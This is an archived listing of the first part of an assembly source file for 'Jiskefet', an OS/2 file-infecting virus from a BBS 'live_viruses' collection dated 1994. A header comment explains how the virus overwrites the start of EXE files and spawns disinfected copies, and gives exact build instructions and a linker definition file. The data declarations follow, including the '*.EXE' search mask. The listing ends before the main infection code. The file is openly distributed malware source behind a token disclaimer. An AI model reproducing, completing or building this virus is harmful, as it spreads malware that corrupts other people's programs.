home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / jiskefet.asm < prev    next >
Assembly Source File  |  1994-04-30  |  7KB  |  131 lines

  1.    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  2.    --------- Rippppppped Off The NuKNET For Your Enjoyment...-----------
  3.    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  4.  
  5. comment #
  6.  
  7.                 JISKEFET: a non-resident direct-action OS/2 virus
  8.  
  9.  
  10. Disclaimer: This file is only for educational purposes. Do not abuse it!
  11. The author takes no responsibility for anything anyone does with this file.
  12.  
  13. How does this virus work? Like most non-resident viruses, it first infects
  14. other programs and then runs the original program. It infects programs by
  15. copying the first part of the program (with the same size of the virus) to
  16. the end of the program and then overwriting the begin with the virus. When
  17. an infected program is executed, the virus will make a copy of the infected
  18. program and disinfect it. It will then spawn the disinfected copy. This is
  19. perhaps not a very elegant method. It would be nicer if the virus could jus
  20. disinfect the current program and spawn that one. But OS/2 doesn't allow a
  21. program that being executed to be altered.
  22.  
  23. The proper way to compile this virus is like this: first, just compile it.
  24. Then check the size of the new created exe file. It should be the same as
  25. the value for VIRLEN below. If not, change the value for VIRLEN and compile
  26. again. Unfortunatly, I don't know of a way to tell the compiler what the si
  27. of an EXE file will be after compilation. Also check out the offset of the
  28. 'MK' signature in the EXE file. It should be at the offset MKOFF. You might
  29. have to change this one too. To generate an exact copy of the original viru
  30. use MASM.EXE v5.0 and LINK386.EXE v2.00.000.
  31.  
  32. COMPILE.BAT:
  33. ...........................................................................
  34. masm.exe /Zi %1.asm;
  35. link386.exe /exepack %1.obj,,,doscalls.lib,%1.def
  36. ...........................................................................
  37.  
  38. JISKEFET.DEF:
  39. ...........................................................................
  40. name Jiskefet windowapi         ;A virus must have a name. This one is
  41.                                 ;dedicated to the people of 'Jiskefet',
  42.                                 ;the funniest TV program in the Netherlands
  43.                                 ;These guys are really excelent!
  44.                                 ;'windowapi' means that this virus will be
  45.                                 ;compiled into a P.M. application.
  46. protmode                        ;It will run in protected mode.
  47. stacksize 8192                  ;Yes, the virus needs some stack.
  48. ...........................................................................
  49.  
  50. The file doscalls.lib should be in the OS/2 directory. Copy it to your work
  51. directory or enter the full pathname in compile.bat.
  52. To compile this file type: compile jiskefet
  53.  
  54. #
  55. ;==========================================================================
  56.                 .286                            ;80286 opcodes can be used.
  57.                 .radix  16                      ;All numbers are hexadecima
  58.                                                 ;by default.
  59. VIRLEN          equ     2048d                   ;This will be the size of t
  60.                                                 ;compiled virus.
  61. MKOFF           equ     400                     ;At this offset in the EXE
  62.                                                 ;will be the 'MK' signature
  63.  
  64. _srec           struc                           ;Structure with information
  65. cdate           dw      ?                       ;about file, returned by th
  66. ctime           dw      ?                       ;DosFindFirst and DosFindNe
  67. adate           dw      ?                       ;functions.
  68. atime           dw      ?
  69. wdate           dw      ?
  70. wtime           dw      ?
  71. fsize           dd      ?
  72. falloc          dd      ?
  73. fattr           dw      ?
  74. fcount          db      ?
  75. fname           db      100 dup (?)
  76. _srec           ends
  77.                 extrn   DosFindFirst:far        ;These external kernel
  78.                 extrn   DosFindNext:far         ;functions are used by the
  79.                 extrn   DosFindClose:far        ;virus.
  80.                 extrn   DosOpen:far
  81.                 extrn   DosClose:far
  82.                 extrn   DosRead:far
  83.                 extrn   DosWrite:far
  84.                 extrn   DosChgFilePtr:far
  85.                 extrn   DosNewSize:far
  86.                 extrn   DosGetEnv:far
  87.                 extrn   DosExecPgm:far
  88.                 extrn   DosExit:far
  89.                 extrn   DosDelete:far
  90.  
  91. DGROUP          group   _DATA
  92.  
  93. _DATA           segment word public 'DATA'
  94.  
  95.                                                 ;Variables used by DosFindF
  96.                                                 ;and DosFindNext functions:
  97. filename        db      '*.EXE', 0              ;  Filenames to search for.
  98. dirhan          dw      ?                       ;  Handle.
  99. sbuf            _srec   <>                      ;  Struct. with returned in
  100. srchcnt         dw      ?                       ;  Number of files to searc
  101.                                                 ;Variables used by DosOpen:
  102. faction         dw      ?                       ;  Open mode.
  103. fhandle         dw      ?                       ;  Handle.
  104. fhandle2        dw      ?                       ;  Handle.
  105.                                                 ;Variables used by DosRead
  106.                                                 ;and DosWrite:
  107. rlen            dw      ?                       ;  Number of read bytes.
  108. wlen            dw      ?                       ;  Number of written bytes.
  109.                                                 ;Variables used by
  110.                                                 ;DosChgFilePtr:
  111. new_off         dw      ?, ?                    ;  New offset.
  112.                                                 ;Variables used by DosGetEn
  113. envseg          dw      ?                       ;  Segment of environment.
  114. cmdoffs         dw      ?                       ;  Offset of arguments in e
  115.                                                 ;Variables used by DosExecP
  116. objbuf          db      (40) dup (?)            ;  Buffer for error-info.
  117. retcode         dw      ?, ?                    ;  Returns exit-code.
  118.                                                 ;Other variables:
  119. NE_buf          db      (40) dup (?)            ;  Buffer for NE header.
  120. namebuf         db      (100) dup (?)           ;  New filename for spawnin
  121. buffer          db      (VIRLEN) dup (?)        ;  Main buffer.
  122.  
  123. _DATA           ends
  124.  
  125. ;--------------------------------------------------------------------------
  126. ;               Main program.
  127. ;--------------------------------------------------------------------------
  128.  
  129. _TEXT           segment word public 'CODE'
  130.                 assume  cs:_TEXT, ds:DGROUP
  131.